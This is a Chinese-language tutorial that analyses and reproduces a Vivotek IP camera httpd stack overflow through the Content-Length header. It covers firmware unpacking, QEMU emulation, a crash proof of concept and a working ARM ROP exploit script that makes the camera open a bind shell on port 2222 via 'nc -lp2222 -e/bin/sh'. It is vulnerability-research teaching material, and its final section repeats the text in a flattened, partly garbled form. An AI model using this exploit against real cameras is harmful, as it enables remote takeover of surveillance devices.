Vivotek远程栈溢出漏洞分析与复现
字数 1657 2025-08-22 12:22:36

Vivotek远程栈溢出漏洞分析与复现教学文档

0x01 漏洞概述

漏洞类型:栈溢出漏洞
影响服务:Vivotek摄像头固件中的httpd服务
漏洞成因:未对用户POST请求中的Content-Length字段进行长度校验,导致栈溢出
影响版本:多个Vivotek摄像头型号(详见下文)
漏洞危害:可导致摄像头进程崩溃,甚至实现任意代码执行
披露时间:2017年11月

受影响设备型号

CC8160, CC8370-HV, CC8371-HV, CD8371-HNTV, CD8371-HNVF2, FD8166A, FD8166A-N, 
FD8167A, FD8167A-S, FD8169A, FD8169A-S, FD816BA-HF2, FD816BA-HT, FD816CA-HF2, 
FD8177-H, FD8179-H, FD8182-F1, FD8182-F2, FD8182-T, FD8366-V, FD8367A-V, 
FD8369A-V, FD836BA-EHTV, FD836BA-EHVF2, FD836BA-HTV, FD836BA-HVF2, FD8377-HV, 
FD8379-HV, FD8382-ETV, FD8382-EVF2, FD8382-TV, FD8382-VF2, FD9171-HT, FD9181-HT, 
FD9371-EHTV, FD9371-HTV, FD9381-EHTV, FD9381-HTV, FE8182, FE9181-H, FE9182-H, 
FE9191, FE9381-EHV, FE9382-EHV, FE9391-EV, IB8360, IB8360-W, IB8367A, IB8369A, 
IB836BA-EHF3, IB836BA-EHT, IB836BA-HF3, IB836BA-HT, IB8377-H, IB8379-H, 
IB8382-EF3, IB8382-ET, IB8382-F3, IB8382-T, IB9371-EHT, IB9371-HT, IB9381-EHT, 
IB9381-HT, IP8160, IP8160-W, IP8166, IP9171-HP, IP9181-H, IZ9361-EH, MD8563-EHF2, 
MD8563-EHF4, MD8563-HF2, MD8563-HF4, MD8564-EH, MD8565-N, SD9161-H, SD9361-EHL, 
SD9362-EH, SD9362-EHL, SD9363-EHL, SD9364-EH, SD9364-EHL, SD9365-EHL, SD9366-EH, 
SD9366-EHL, VS8100-V2

POC链接

https://www.exploit-db.com/exploits/44001

0x02 环境搭建

固件获取

  1. Vivotek官网不提供历史固件版本下载
  2. 可通过联系Vivotek技术支持获取漏洞版本固件
  3. 固件下载地址:http://www.vivotek.com/firmware/

固件解包

  1. 使用binwalk分析固件:
    binwalk firmware.bin
    
  2. 文件系统路径:
    _31.extracted/_rootfs.img.extracted/squashfs-root
    
  3. httpd程序信息:
    • 32位ARM程序
    • 小端序
    • 动态链接
    • 符号表被裁剪

服务运行准备

  1. 主机名冲突问题

    • 问题表现:gethostbyname::success但httpd未启动
    • 解决方法:修改宿主机和固件hosts文件中的主机名保持一致
  2. 配置文件缺失问题

    • 问题表现:Could not open boa.conf for reading
    • 原因:缺少/etc/conf.d/boa/boa.conf文件
    • 解决方法:
      • 检查/etc/conf.d软链接指向../mnt/flash/etc/conf.d
      • 从其他固件包中复制etc文件夹到/mnt/flash/目录

调试环境搭建

  1. QEMU虚拟机准备

    • ARM Debian镜像下载:
      https://people.debian.org/~aurel32/qemu/armel/
      
    • 启动命令:
      sudo tunctl -t tap0 -u `whoami`
      sudo ifconfig tap0 192.168.2.1/24
      qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile \
      -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 \
      -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
      
  2. 虚拟机配置

    sudo mount -o bind /dev ./squashfs-root/dev
    sudo mount -t proc /proc ./squashfs-root/proc
    ifconfig eth0 192.168.2.2/24
    chroot ./squashfs-root/ sh
    
  3. 调试工具准备

    • 预编译的GDB和GDBserver:
      https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static
      
    • 使用Python简单HTTP服务器传输文件:
      python -m SimpleHTTPServer
      

0x03 漏洞分析

漏洞点定位

  1. POC触发崩溃后寄存器状态:

    • R4、R5、R6、R7、R8、R9、R10、R11和PC被覆盖
    • PC指向无效地址导致崩溃
  2. POC示例:

    echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.2.2 80
    
  3. 漏洞代码分析:

    • 未对Content-Length字段进行校验
    • 直接使用strcpy将Content-Length值复制到长度为4的dest数组
    • dest缓冲区距栈底仅0x38字节,导致溢出

ARM架构特点

  1. 函数调用约定:

    • 返回地址由LR寄存器保存
    • 函数参数优先通过R0-R3寄存器传递
    • 当Content-Length长度超过0x38-4字节时会覆盖LR
  2. 保护机制检查:

    • 仅开启NX(不可执行保护)
    • 未开启ASLR(地址空间布局随机化)

0x04 漏洞利用

利用前提

  1. 关闭ASLR:

    echo 0 > /proc/sys/kernel/randomize_va_space
    
  2. 地址信息:

    • libc基址:0x76f2d000
    • 栈基址:0x7effeb60(崩溃时SP寄存器值)

利用思路

  1. 使用ret2libc技术(因NX保护无法直接执行shellcode)

  2. 构造ROP链:

    • 通过寄存器传递system函数参数
    • 需要将命令字符串地址放入R0寄存器
  3. Gadget选择:

    • 0x00048784 : pop {r1, pc}
    • 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
    • 避免使用含\x00的gadget地址(如pop {r0,pc}

利用脚本

#encoding=utf-8
#!/usr/bin/python
from pwn import *
from os import *

libc_base = 0x76f2d000  # libC库基址
stack_base = 0x7effeb60  # 崩溃时SP寄存器值
libc_elf = ELF('./libuClibc-0.9.33.3-git.so')

payload = (0x38 - 4) * 'a'  # padding
payload += p32(0x00048784 + libc_base)  # gadget1: pop {r1, pc}
payload += p32(0x80 + stack_base)  # 命令参数地址
payload += p32(0x00016aa4 + libc_base)  # gadget2: mov r0, r1 ; pop {r4, r5, pc}
payload += (0x8 * 'a')  # padding
payload += p32(libc_elf.symbols['system'] + libc_base)  # system函数地址
payload += ('pwd;' * 0x100 + 'nc \x20 -lp2222 \x20 -e/bin/sh \x20 >')  # 命令参数

payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \n HTTP/1.0 \n Content-Length:{} \n\r\n\r\n " | nc -v 192.168.2.2 80'.format(payload)
os.system(payload)

硬核字节码版本

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x57\xf7\x76\xe0\xeb\xff\x7e\xa4\x3a\xf4\x76aaaaaaaa\xb0\x4a\xf7\x76pwd;pwd;[...]nc -lp2222 -e/bin/sh >\n\r\n\r\n" | nc -v 192.168.2.2 80

0x05 复现结果

成功在远端2222端口反弹shell,通过本地nc连接可获取摄像头控制权限。

0x06 总结与学习要点

关键技术点

  1. 固件分析:binwalk使用、文件系统提取
  2. 环境搭建:QEMU模拟ARM环境、网络配置
  3. 调试技巧:GDB远程调试、ARM架构分析
  4. 漏洞利用:ROP链构造、ARM调用约定

学习收获

  1. 掌握了IoT设备固件分析的基本流程
  2. 熟悉了ARM架构下的漏洞利用技术
  3. 了解了QEMU模拟和调试ARM程序的方法
  4. 实践了从漏洞分析到利用的完整过程

扩展思考

  1. 实际设备中ASLR状态可能不同,需要考虑信息泄露
  2. 可研究其他Vivotek设备的漏洞模式
  3. 探索更稳定的利用方式,如多次交互利用
Vivotek远程栈溢出漏洞分析与复现教学文档 0x01 漏洞概述 漏洞类型 :栈溢出漏洞 影响服务 :Vivotek摄像头固件中的httpd服务 漏洞成因 :未对用户POST请求中的Content-Length字段进行长度校验,导致栈溢出 影响版本 :多个Vivotek摄像头型号(详见下文) 漏洞危害 :可导致摄像头进程崩溃,甚至实现任意代码执行 披露时间 :2017年11月 受影响设备型号 POC链接 https://www.exploit-db.com/exploits/44001 0x02 环境搭建 固件获取 Vivotek官网不提供历史固件版本下载 可通过联系Vivotek技术支持获取漏洞版本固件 固件下载地址:http://www.vivotek.com/firmware/ 固件解包 使用binwalk分析固件: 文件系统路径: httpd程序信息: 32位ARM程序 小端序 动态链接 符号表被裁剪 服务运行准备 主机名冲突问题 : 问题表现: gethostbyname::success 但httpd未启动 解决方法:修改宿主机和固件hosts文件中的主机名保持一致 配置文件缺失问题 : 问题表现: Could not open boa.conf for reading 原因:缺少 /etc/conf.d/boa/boa.conf 文件 解决方法: 检查 /etc/conf.d 软链接指向 ../mnt/flash/etc/conf.d 从其他固件包中复制 etc 文件夹到 /mnt/flash/ 目录 调试环境搭建 QEMU虚拟机准备 : ARM Debian镜像下载: 启动命令: 虚拟机配置 : 调试工具准备 : 预编译的GDB和GDBserver: 使用Python简单HTTP服务器传输文件: 0x03 漏洞分析 漏洞点定位 POC触发崩溃后寄存器状态: R4、R5、R6、R7、R8、R9、R10、R11和PC被覆盖 PC指向无效地址导致崩溃 POC示例: 漏洞代码分析: 未对Content-Length字段进行校验 直接使用strcpy将Content-Length值复制到长度为4的dest数组 dest缓冲区距栈底仅0x38字节,导致溢出 ARM架构特点 函数调用约定: 返回地址由LR寄存器保存 函数参数优先通过R0-R3寄存器传递 当Content-Length长度超过0x38-4字节时会覆盖LR 保护机制检查: 仅开启NX(不可执行保护) 未开启ASLR(地址空间布局随机化) 0x04 漏洞利用 利用前提 关闭ASLR: 地址信息: libc基址:0x76f2d000 栈基址:0x7effeb60(崩溃时SP寄存器值) 利用思路 使用ret2libc技术(因NX保护无法直接执行shellcode) 构造ROP链: 通过寄存器传递system函数参数 需要将命令字符串地址放入R0寄存器 Gadget选择: 0x00048784 : pop {r1, pc} 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc} 避免使用含 \x00 的gadget地址(如 pop {r0,pc} ) 利用脚本 硬核字节码版本 0x05 复现结果 成功在远端2222端口反弹shell,通过本地nc连接可获取摄像头控制权限。 0x06 总结与学习要点 关键技术点 固件分析:binwalk使用、文件系统提取 环境搭建:QEMU模拟ARM环境、网络配置 调试技巧:GDB远程调试、ARM架构分析 漏洞利用:ROP链构造、ARM调用约定 学习收获 掌握了IoT设备固件分析的基本流程 熟悉了ARM架构下的漏洞利用技术 了解了QEMU模拟和调试ARM程序的方法 实践了从漏洞分析到利用的完整过程 扩展思考 实际设备中ASLR状态可能不同,需要考虑信息泄露 可研究其他Vivotek设备的漏洞模式 探索更稳定的利用方式,如多次交互利用